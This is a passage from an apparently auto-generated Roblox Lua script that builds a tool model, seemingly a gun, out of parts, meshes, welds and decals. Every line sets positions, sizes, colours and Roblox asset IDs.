  2173. Part163.CFrame = CFrame.new(34.5371094, 1.67563403, -9.40740967, 0, 1, -0, -1, 0, 0, 0, 0, 1)
  2174. Part163.BottomSurface = Enum.SurfaceType.Smooth
  2175. Part163.TopSurface = Enum.SurfaceType.Smooth
  2176. Part163.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2177. Part163.Position = Vector3.new(34.5371094, 1.67563403, -9.40740967)
  2178. Part163.Orientation = Vector3.new(0, 0, -90)
  2179. Part163.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2180. SpecialMesh164.Parent = Part163
  2181. SpecialMesh164.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
  2182. SpecialMesh164.MeshType = Enum.MeshType.Wedge
  2183. SpecialMesh164.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
  2184. Part165.Parent = Tool0
  2185. Part165.Material = Enum.Material.SmoothPlastic
  2186. Part165.BrickColor = BrickColor.new("Black")
  2187. Part165.Reflectance = 0.20000000298023
  2188. Part165.Rotation = Vector3.new(-90, 0, 0)
  2189. Part165.Anchored = true
  2190. Part165.FormFactor = Enum.FormFactor.Custom
  2191. Part165.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2192. Part165.CFrame = CFrame.new(34.4963379, 1.67197096, -12.166626, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2193. Part165.BottomSurface = Enum.SurfaceType.Smooth
  2194. Part165.TopSurface = Enum.SurfaceType.Smooth
  2195. Part165.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2196. Part165.Position = Vector3.new(34.4963379, 1.67197096, -12.166626)
  2197. Part165.Orientation = Vector3.new(-90, 0, 0)
  2198. Part165.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2199. SpecialMesh166.Parent = Part165
  2200. SpecialMesh166.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2201. SpecialMesh166.Scale = Vector3.new(0.0740740746, 0.0740740746, 0.0740740746)
  2202. SpecialMesh166.MeshType = Enum.MeshType.FileMesh
  2203. SpecialMesh166.Scale = Vector3.new(0.0740740746, 0.0740740746, 0.0740740746)
  2204. ManualWeld167.Name = "Part-to-AimPart Strong Joint"
  2205. ManualWeld167.Parent = Part165
  2206. ManualWeld167.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2207. ManualWeld167.C1 = CFrame.new(0.0999984741, -0.0999529362, -0.11482811, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  2208. ManualWeld167.Part0 = Part165
  2209. ManualWeld167.Part1 = Part237
  2210. Part168.Parent = Tool0
  2211. Part168.Material = Enum.Material.SmoothPlastic
  2212. Part168.BrickColor = BrickColor.new("Black")
  2213. Part168.Reflectance = 0.20000000298023
  2214. Part168.Rotation = Vector3.new(90, 0, 180)
  2215. Part168.Anchored = true
  2216. Part168.FormFactor = Enum.FormFactor.Custom
  2217. Part168.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2218. Part168.CFrame = CFrame.new(34.4481201, 1.67563403, -9.31847382, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
  2219. Part168.BottomSurface = Enum.SurfaceType.Smooth
  2220. Part168.TopSurface = Enum.SurfaceType.Smooth
  2221. Part168.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2222. Part168.Position = Vector3.new(34.4481201, 1.67563403, -9.31847382)
  2223. Part168.Orientation = Vector3.new(89.9599991, 0, -180)
  2224. Part168.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2225. BlockMesh169.Parent = Part168
  2226. BlockMesh169.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
  2227. BlockMesh169.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
  2228. Part170.Parent = Tool0
  2229. Part170.Material = Enum.Material.SmoothPlastic
  2230. Part170.BrickColor = BrickColor.new("Black")
  2231. Part170.Anchored = true
  2232. Part170.FormFactor = Enum.FormFactor.Custom
  2233. Part170.Size = Vector3.new(0.200000003, 0.200000003, 3.39259839)
  2234. Part170.CFrame = CFrame.new(34.5, 1.55698204, -10.6962881, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2235. Part170.BottomSurface = Enum.SurfaceType.Smooth
  2236. Part170.TopSurface = Enum.SurfaceType.Smooth
  2237. Part170.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2238. Part170.Position = Vector3.new(34.5, 1.55698204, -10.6962881)
  2239. Part170.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2240. BlockMesh171.Parent = Part170
  2241. BlockMesh171.Scale = Vector3.new(0.666667521, 0.51851815, 1)
  2242. BlockMesh171.Scale = Vector3.new(0.666667521, 0.51851815, 1)
  2243. Part172.Parent = Tool0
  2244. Part172.Material = Enum.Material.SmoothPlastic
  2245. Part172.BrickColor = BrickColor.new("Black")
  2246. Part172.Reflectance = 0.20000000298023
  2247. Part172.Rotation = Vector3.new(180, 0, 90)
  2248. Part172.Anchored = true
  2249. Part172.FormFactor = Enum.FormFactor.Custom
  2250. Part172.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2251. Part172.CFrame = CFrame.new(34.4333496, 1.67563403, -9.31847382, 0, -1, -0, -0.999999762, -0, -1.49011612e-08, 1.49011612e-08, -0, -0.999999762)
  2252. Part172.BottomSurface = Enum.SurfaceType.Smooth
  2253. Part172.TopSurface = Enum.SurfaceType.Smooth
  2254. Part172.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2255. Part172.Position = Vector3.new(34.4333496, 1.67563403, -9.31847382)
  2256. Part172.Orientation = Vector3.new(0, -180, -90)
  2257. Part172.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2258. SpecialMesh173.Parent = Part172
  2259. SpecialMesh173.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  2260. SpecialMesh173.MeshType = Enum.MeshType.Wedge
  2261. SpecialMesh173.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  2262. Part174.Parent = Tool0
  2263. Part174.Material = Enum.Material.SmoothPlastic
  2264. Part174.BrickColor = BrickColor.new("Black")
  2265. Part174.Rotation = Vector3.new(0, 0, -90)
  2266. Part174.Anchored = true
  2267. Part174.FormFactor = Enum.FormFactor.Symmetric
  2268. Part174.Size = Vector3.new(1, 1, 1)
  2269. Part174.CFrame = CFrame.new(34.4996338, 2.04233408, -11.0662165, 0, 1, -0, -1, 0, 0, 0, 0, 1)
  2270. Part174.BottomSurface = Enum.SurfaceType.Smooth
  2271. Part174.TopSurface = Enum.SurfaceType.Smooth
  2272. Part174.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2273. Part174.Position = Vector3.new(34.4996338, 2.04233408, -11.0662165)
  2274. Part174.Orientation = Vector3.new(0, 0, -90)
  2275. Part174.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2276. SpecialMesh175.Parent = Part174
  2277. SpecialMesh175.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2278. SpecialMesh175.Scale = Vector3.new(0.185185194, 0.185185194, 0.481481493)
  2279. SpecialMesh175.MeshType = Enum.MeshType.FileMesh
  2280. SpecialMesh175.Scale = Vector3.new(0.185185194, 0.185185194, 0.481481493)
  2281. Part176.Parent = Tool0
  2282. Part176.Material = Enum.Material.SmoothPlastic
  2283. Part176.BrickColor = BrickColor.new("Black")
  2284. Part176.Anchored = true
  2285. Part176.FormFactor = Enum.FormFactor.Custom
  2286. Part176.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
  2287. Part176.CFrame = CFrame.new(34.4963379, 1.86826003, -11.2777596, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2288. Part176.BottomSurface = Enum.SurfaceType.Smooth
  2289. Part176.TopSurface = Enum.SurfaceType.Smooth
  2290. Part176.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2291. Part176.Position = Vector3.new(34.4963379, 1.86826003, -11.2777596)
  2292. Part176.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2293. SpecialMesh177.Parent = Part176
  2294. SpecialMesh177.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2295. SpecialMesh177.Scale = Vector3.new(0.259259254, 0.259259254, 3.70370364)
  2296. SpecialMesh177.MeshType = Enum.MeshType.FileMesh
  2297. SpecialMesh177.Scale = Vector3.new(0.259259254, 0.259259254, 3.70370364)
  2298. Part178.Parent = Tool0
  2299. Part178.Material = Enum.Material.SmoothPlastic
  2300. Part178.BrickColor = BrickColor.new("Black")
  2301. Part178.Reflectance = 0.20000000298023
  2302. Part178.Rotation = Vector3.new(180, 0, -90)
  2303. Part178.Anchored = true
  2304. Part178.FormFactor = Enum.FormFactor.Custom
  2305. Part178.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2306. Part178.CFrame = CFrame.new(34.4481201, 1.67563403, -9.37774181, 0, 1, -0, 0.999999762, 0, -1.49011612e-08, -1.49011612e-08, 0, -0.999999762)
  2307. Part178.BottomSurface = Enum.SurfaceType.Smooth
  2308. Part178.TopSurface = Enum.SurfaceType.Smooth
  2309. Part178.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2310. Part178.Position = Vector3.new(34.4481201, 1.67563403, -9.37774181)
  2311. Part178.Orientation = Vector3.new(0, -180, 90)
  2312. Part178.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2313. SpecialMesh179.Parent = Part178
  2314. SpecialMesh179.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  2315. SpecialMesh179.MeshType = Enum.MeshType.Wedge
  2316. SpecialMesh179.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  2317. Part180.Parent = Tool0
  2318. Part180.Material = Enum.Material.SmoothPlastic
  2319. Part180.BrickColor = BrickColor.new("Black")
  2320. Part180.Reflectance = 0.20000000298023
  2321. Part180.Rotation = Vector3.new(0, 0, 90)
  2322. Part180.Anchored = true
  2323. Part180.FormFactor = Enum.FormFactor.Custom
  2324. Part180.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2325. Part180.CFrame = CFrame.new(34.4555664, 1.67563403, -9.40740967, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
  2326. Part180.BottomSurface = Enum.SurfaceType.Smooth
  2327. Part180.TopSurface = Enum.SurfaceType.Smooth
  2328. Part180.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2329. Part180.Position = Vector3.new(34.4555664, 1.67563403, -9.40740967)
  2330. Part180.Orientation = Vector3.new(0, 0, 90)
  2331. Part180.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2332. SpecialMesh181.Parent = Part180
  2333. SpecialMesh181.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
  2334. SpecialMesh181.MeshType = Enum.MeshType.Wedge
  2335. SpecialMesh181.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
  2336. Part182.Parent = Tool0
  2337. Part182.Material = Enum.Material.SmoothPlastic
  2338. Part182.BrickColor = BrickColor.new("Black")
  2339. Part182.Rotation = Vector3.new(-90, 0, 0)
  2340. Part182.Anchored = true
  2341. Part182.FormFactor = Enum.FormFactor.Custom
  2342. Part182.Size = Vector3.new(0.200000003, 0.200000003, 0.340740591)
  2343. Part182.CFrame = CFrame.new(34.4963379, 1.87045896, -11.2036743, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2344. Part182.BottomSurface = Enum.SurfaceType.Smooth
  2345. Part182.TopSurface = Enum.SurfaceType.Smooth
  2346. Part182.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2347. Part182.Position = Vector3.new(34.4963379, 1.87045896, -11.2036743)
  2348. Part182.Orientation = Vector3.new(-90, 0, 0)
  2349. Part182.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2350. CylinderMesh183.Parent = Part182
  2351. CylinderMesh183.Scale = Vector3.new(0.0703703687, 0.0111111114, 0.100000001)
  2352. CylinderMesh183.Scale = Vector3.new(0.0703703687, 0.0111111114, 0.100000001)
  2353. Part184.Parent = Tool0
  2354. Part184.Material = Enum.Material.SmoothPlastic
  2355. Part184.BrickColor = BrickColor.new("Black")
  2356. Part184.Reflectance = 0.20000000298023
  2357. Part184.Rotation = Vector3.new(-180, 0, 90)
  2358. Part184.Anchored = true
  2359. Part184.FormFactor = Enum.FormFactor.Custom
  2360. Part184.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2361. Part184.CFrame = CFrame.new(34.5296631, 1.67563403, -9.39257813, 0, -0.999998391, 0, -0.999999166, -0, 2.98023224e-08, 1.49011612e-08, -0, -0.999998927)
  2362. Part184.BottomSurface = Enum.SurfaceType.Smooth
  2363. Part184.TopSurface = Enum.SurfaceType.Smooth
  2364. Part184.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2365. Part184.Position = Vector3.new(34.5296631, 1.67563403, -9.39257813)
  2366. Part184.Orientation = Vector3.new(0, 180, -90)
  2367. Part184.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2368. SpecialMesh185.Parent = Part184
  2369. SpecialMesh185.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
  2370. SpecialMesh185.MeshType = Enum.MeshType.Wedge
  2371. SpecialMesh185.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
  2372. Part186.Parent = Tool0
  2373. Part186.Material = Enum.Material.SmoothPlastic
  2374. Part186.BrickColor = BrickColor.new("Black")
  2375. Part186.Transparency = 0.69999998807907
  2376. Part186.Rotation = Vector3.new(-90, 0, 0)
  2377. Part186.Anchored = true
  2378. Part186.FormFactor = Enum.FormFactor.Custom
  2379. Part186.Size = Vector3.new(0.229629576, 0.200000003, 0.244444489)
  2380. Part186.CFrame = CFrame.new(34.4963379, 1.87192404, -11.0073795, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2381. Part186.BottomSurface = Enum.SurfaceType.Smooth
  2382. Part186.TopSurface = Enum.SurfaceType.Smooth
  2383. Part186.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2384. Part186.Position = Vector3.new(34.4963379, 1.87192404, -11.0073795)
  2385. Part186.Orientation = Vector3.new(-90, 0, 0)
  2386. Part186.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2387. Decal187.Parent = Part186
  2388. Decal187.Texture = "http://www.roblox.com/asset/?id=145867456"
  2389. Decal187.Face = Enum.NormalId.Bottom
  2390. Decal188.Parent = Part186
  2391. Decal188.Texture = "http://www.roblox.com/asset/?id=145867456"
  2392. Decal188.Face = Enum.NormalId.Bottom
  2393. Decal189.Parent = Part186
  2394. Decal189.Texture = "http://www.roblox.com/asset/?id=145867456"
  2395. Decal189.Face = Enum.NormalId.Bottom
  2396. Decal190.Parent = Part186
  2397. Decal190.Texture = "http://www.roblox.com/asset/?id=145867456"
  2398. Decal190.Face = Enum.NormalId.Bottom
  2399. Decal191.Parent = Part186
  2400. Decal191.Texture = "http://www.roblox.com/asset/?id=145867456"
  2401. Decal191.Face = Enum.NormalId.Bottom
  2402. Decal192.Parent = Part186
  2403. Decal192.Texture = "http://www.roblox.com/asset/?id=145867456"
  2404. Decal192.Face = Enum.NormalId.Bottom
  2405. Decal193.Parent = Part186
  2406. Decal193.Texture = "http://www.roblox.com/asset/?id=145867456"
  2407. Decal193.Face = Enum.NormalId.Bottom
  2408. CylinderMesh194.Parent = Part186
  2409. CylinderMesh194.Scale = Vector3.new(1, 0.222222224, 1)
  2410. CylinderMesh194.Scale = Vector3.new(1, 0.222222224, 1)
  2411. Part195.Parent = Tool0
  2412. Part195.Material = Enum.Material.SmoothPlastic
  2413. Part195.BrickColor = BrickColor.new("Black")
  2414. Part195.Reflectance = 0.20000000298023
  2415. Part195.Rotation = Vector3.new(180, 0, -180)
  2416. Part195.Anchored = true
  2417. Part195.FormFactor = Enum.FormFactor.Custom
  2418. Part195.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2419. Part195.CFrame = CFrame.new(34.4963379, 1.67563403, -11.859252, -1, 0, -4.37113883e-08, 0, 1, -0, 4.37113883e-08, 0, -1)
  2420. Part195.BottomSurface = Enum.SurfaceType.Smooth
  2421. Part195.TopSurface = Enum.SurfaceType.Smooth
  2422. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2423. Part195.Position = Vector3.new(34.4963379, 1.67563403, -11.859252)
  2424. Part195.Orientation = Vector3.new(0, -180, 0)
  2425. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2426. SpecialMesh196.Parent = Part195
  2427. SpecialMesh196.Scale = Vector3.new(0.481481612, 0.370366931, 0.666666448)
  2428. SpecialMesh196.MeshType = Enum.MeshType.Wedge
  2429. SpecialMesh196.Scale = Vector3.new(0.481481612, 0.370366931, 0.666666448)
  2430. Part197.Parent = Tool0
  2431. Part197.Material = Enum.Material.SmoothPlastic
  2432. Part197.BrickColor = BrickColor.new("Black")
  2433. Part197.Transparency = 0.69999998807907
  2434. Part197.Rotation = Vector3.new(-90, 0, 0)
  2435. Part197.Anchored = true
  2436. Part197.FormFactor = Enum.FormFactor.Custom
  2437. Part197.Size = Vector3.new(0.229629576, 0.200000003, 0.244444489)
  2438. Part197.CFrame = CFrame.new(34.4963379, 1.87192404, -11.5481558, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2439. Part197.BottomSurface = Enum.SurfaceType.Smooth
  2440. Part197.TopSurface = Enum.SurfaceType.Smooth
  2441. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2442. Part197.Position = Vector3.new(34.4963379, 1.87192404, -11.5481558)
  2443. Part197.Orientation = Vector3.new(-90, 0, 0)
  2444. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2445. CylinderMesh198.Parent = Part197
  2446. CylinderMesh198.Scale = Vector3.new(1, 0.222222224, 1)
  2447. CylinderMesh198.Scale = Vector3.new(1, 0.222222224, 1)
  2448. Part199.Parent = Tool0
  2449. Part199.Material = Enum.Material.SmoothPlastic
  2450. Part199.BrickColor = BrickColor.new("Black")
  2451. Part199.Anchored = true
  2452. Part199.FormFactor = Enum.FormFactor.Custom
  2453. Part199.Size = Vector3.new(0.200000003, 0.200000003, 0.237036973)
  2454. Part199.CFrame = CFrame.new(34.4963379, 1.70151401, -11.2962637, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2455. Part199.BottomSurface = Enum.SurfaceType.Smooth
  2456. Part199.TopSurface = Enum.SurfaceType.Smooth
  2457. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2458. Part199.Position = Vector3.new(34.4963379, 1.70151401, -11.2962637)
  2459. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2460. BlockMesh200.Parent = Part199
  2461. BlockMesh200.Scale = Vector3.new(0.481481373, 0.407407463, 1)
  2462. BlockMesh200.Scale = Vector3.new(0.481481373, 0.407407463, 1)
  2463. Part201.Parent = Tool0
  2464. Part201.Material = Enum.Material.SmoothPlastic
  2465. Part201.BrickColor = BrickColor.new("Black")
  2466. Part201.Rotation = Vector3.new(0, -90, 0)
  2467. Part201.Anchored = true
  2468. Part201.FormFactor = Enum.FormFactor.Custom
  2469. Part201.Size = Vector3.new(3.39259171, 0.200000003, 0.200000003)
  2470. Part201.CFrame = CFrame.new(34.581543, 1.55698204, -10.6962881, 0, 0, -1, 0, 1, 0, 1, 0, 4.37113883e-08)
  2471. Part201.BottomSurface = Enum.SurfaceType.Smooth
  2472. Part201.TopSurface = Enum.SurfaceType.Smooth
  2473. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2474. Part201.Position = Vector3.new(34.581543, 1.55698204, -10.6962881)
  2475. Part201.Orientation = Vector3.new(0, -90, 0)
  2476. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2477. SpecialMesh202.Parent = Part201
  2478. SpecialMesh202.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2479. SpecialMesh202.MeshType = Enum.MeshType.Wedge
  2480. SpecialMesh202.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2481. Part203.Parent = Tool0
  2482. Part203.Material = Enum.Material.SmoothPlastic
  2483. Part203.BrickColor = BrickColor.new("Really black")
  2484. Part203.Reflectance = 0.20000000298023
  2485. Part203.Anchored = true
  2486. Part203.FormFactor = Enum.FormFactor.Custom
  2487. Part203.Size = Vector3.new(0.207407534, 0.200000003, 0.985189319)
  2488. Part203.CFrame = CFrame.new(34.5, 1.23105395, -10.3740845, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2489. Part203.BottomSurface = Enum.SurfaceType.Smooth
  2490. Part203.TopSurface = Enum.SurfaceType.Smooth
  2491. Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2492. Part203.Position = Vector3.new(34.5, 1.23105395, -10.3740845)
  2493. Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2494. BlockMesh204.Parent = Part203
  2495. BlockMesh204.Scale = Vector3.new(1, 0.370369822, 1)
  2496. BlockMesh204.Scale = Vector3.new(1, 0.370369822, 1)
  2497. Part205.Parent = Tool0
  2498. Part205.Material = Enum.Material.SmoothPlastic
  2499. Part205.BrickColor = BrickColor.new("Black")
  2500. Part205.Reflectance = 0.20000000298023
  2501. Part205.Anchored = true
  2502. Part205.FormFactor = Enum.FormFactor.Custom
  2503. Part205.Size = Vector3.new(0.207407534, 0.348147959, 0.200000003)
  2504. Part205.CFrame = CFrame.new(34.5, 1.44223595, -12.4814396, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2505. Part205.BottomSurface = Enum.SurfaceType.Smooth
  2506. Part205.TopSurface = Enum.SurfaceType.Smooth
  2507. Part205.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2508. Part205.Position = Vector3.new(34.5, 1.44223595, -12.4814396)
  2509. Part205.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2510. BlockMesh206.Parent = Part205
  2511. BlockMesh206.Scale = Vector3.new(1, 1, 0.888907433)
  2512. BlockMesh206.Scale = Vector3.new(1, 1, 0.888907433)
  2513. Part207.Parent = Tool0
  2514. Part207.Material = Enum.Material.SmoothPlastic
  2515. Part207.BrickColor = BrickColor.new("Black")
  2516. Part207.Anchored = true
  2517. Part207.FormFactor = Enum.FormFactor.Custom
  2518. Part207.Size = Vector3.new(0.200000003, 0.237036958, 1.42222607)
  2519. Part207.CFrame = CFrame.new(34.5, 1.38681805, -11.6814585, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2520. Part207.BottomSurface = Enum.SurfaceType.Smooth
  2521. Part207.TopSurface = Enum.SurfaceType.Smooth
  2522. Part207.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2523. Part207.Position = Vector3.new(34.5, 1.38681805, -11.6814585)
  2524. Part207.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2525. BlockMesh208.Parent = Part207
  2526. BlockMesh208.Scale = Vector3.new(0.962963641, 1, 1)
  2527. BlockMesh208.Scale = Vector3.new(0.962963641, 1, 1)
  2528. Part209.Parent = Tool0
  2529. Part209.Material = Enum.Material.SmoothPlastic
  2530. Part209.BrickColor = BrickColor.new("Black")
  2531. Part209.Reflectance = 0.20000000298023
  2532. Part209.Rotation = Vector3.new(0, 0, 90)
  2533. Part209.Anchored = true
  2534. Part209.FormFactor = Enum.FormFactor.Custom
  2535. Part209.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2536. Part209.CFrame = CFrame.new(34.4333496, 1.67563403, -9.38519192, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
  2537. Part209.BottomSurface = Enum.SurfaceType.Smooth
  2538. Part209.TopSurface = Enum.SurfaceType.Smooth
  2539. Part209.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2540. Part209.Position = Vector3.new(34.4333496, 1.67563403, -9.38519192)
  2541. Part209.Orientation = Vector3.new(0, 0, 90)
  2542. Part209.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2543. SpecialMesh210.Parent = Part209
  2544. SpecialMesh210.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  2545. SpecialMesh210.MeshType = Enum.MeshType.Wedge
  2546. SpecialMesh210.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  2547. Part211.Parent = Tool0
  2548. Part211.Material = Enum.Material.SmoothPlastic
  2549. Part211.BrickColor = BrickColor.new("Black")
  2550. Part211.Reflectance = 0.20000000298023
  2551. Part211.Anchored = true
  2552. Part211.FormFactor = Enum.FormFactor.Custom
  2553. Part211.Size = Vector3.new(0.200000003, 0.200000003, 0.281485498)
  2554. Part211.CFrame = CFrame.new(34.5999756, 1.40903294, -10.8222036, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2555. Part211.BottomSurface = Enum.SurfaceType.Smooth
  2556. Part211.TopSurface = Enum.SurfaceType.Smooth
  2557. Part211.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2558. Part211.Position = Vector3.new(34.5999756, 1.40903294, -10.8222036)
  2559. Part211.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2560. BlockMesh212.Parent = Part211
  2561. BlockMesh212.Scale = Vector3.new(0.0370370373, 0.148148, 1)
  2562. BlockMesh212.Scale = Vector3.new(0.0370370373, 0.148148, 1)
  2563. Part213.Parent = Tool0
  2564. Part213.Material = Enum.Material.SmoothPlastic
  2565. Part213.BrickColor = BrickColor.new("Black")
  2566. Part213.Anchored = true
  2567. Part213.FormFactor = Enum.FormFactor.Custom
  2568. Part213.Size = Vector3.new(0.200000003, 0.200000003, 3.2444489)
  2569. Part213.CFrame = CFrame.new(34.4963379, 1.63119996, -10.6221924, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2570. Part213.BottomSurface = Enum.SurfaceType.Smooth
  2571. Part213.TopSurface = Enum.SurfaceType.Smooth
  2572. Part213.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2573. Part213.Position = Vector3.new(34.4963379, 1.63119996, -10.6221924)
  2574. Part213.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2575. BlockMesh214.Parent = Part213
  2576. BlockMesh214.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  2577. BlockMesh214.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  2578. Part215.Parent = Tool0
  2579. Part215.Material = Enum.Material.SmoothPlastic
  2580. Part215.BrickColor = BrickColor.new("Black")
  2581. Part215.Reflectance = 0.20000000298023
  2582. Part215.Rotation = Vector3.new(180, 0, 90)
  2583. Part215.Anchored = true
  2584. Part215.FormFactor = Enum.FormFactor.Custom
  2585. Part215.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2586. Part215.CFrame = CFrame.new(34.5444336, 1.67563403, -9.37774181, -1.91068462e-15, -0.999999762, -3.55271368e-15, -0.999999523, 1.91068398e-15, -4.47034836e-08, 5.96046448e-08, -1.58818678e-22, -0.999999404)
  2587. Part215.BottomSurface = Enum.SurfaceType.Smooth
  2588. Part215.TopSurface = Enum.SurfaceType.Smooth
  2589. Part215.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2590. Part215.Position = Vector3.new(34.5444336, 1.67563403, -9.37774181)
  2591. Part215.Orientation = Vector3.new(0, -180, -90)
  2592. Part215.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2593. SpecialMesh216.Parent = Part215
  2594. SpecialMesh216.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  2595. SpecialMesh216.MeshType = Enum.MeshType.Wedge
  2596. SpecialMesh216.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  2597. Part217.Parent = Tool0
  2598. Part217.Material = Enum.Material.SmoothPlastic
  2599. Part217.BrickColor = BrickColor.new("Black")
  2600. Part217.Reflectance = 0.20000000298023
  2601. Part217.Rotation = Vector3.new(-90, 0, 0)
  2602. Part217.Anchored = true
  2603. Part217.FormFactor = Enum.FormFactor.Custom
  2604. Part217.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2605. Part217.CFrame = CFrame.new(34.5444336, 1.67563403, -9.39257813, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  2606. Part217.BottomSurface = Enum.SurfaceType.Smooth
  2607. Part217.TopSurface = Enum.SurfaceType.Smooth
  2608. Part217.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2609. Part217.Position = Vector3.new(34.5444336, 1.67563403, -9.39257813)
  2610. Part217.Orientation = Vector3.new(-89.9599991, 180, 180)
  2611. Part217.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2612. BlockMesh218.Parent = Part217
  2613. BlockMesh218.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
  2614. BlockMesh218.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
  2615. Part219.Parent = Tool0
  2616. Part219.Material = Enum.Material.SmoothPlastic
  2617. Part219.BrickColor = BrickColor.new("Black")
  2618. Part219.Anchored = true
  2619. Part219.FormFactor = Enum.FormFactor.Custom
  2620. Part219.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
  2621. Part219.CFrame = CFrame.new(34.4963379, 1.86826003, -10.9888916, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2622. Part219.BottomSurface = Enum.SurfaceType.Smooth
  2623. Part219.TopSurface = Enum.SurfaceType.Smooth
  2624. Part219.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2625. Part219.Position = Vector3.new(34.4963379, 1.86826003, -10.9888916)
  2626. Part219.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2627. SpecialMesh220.Parent = Part219
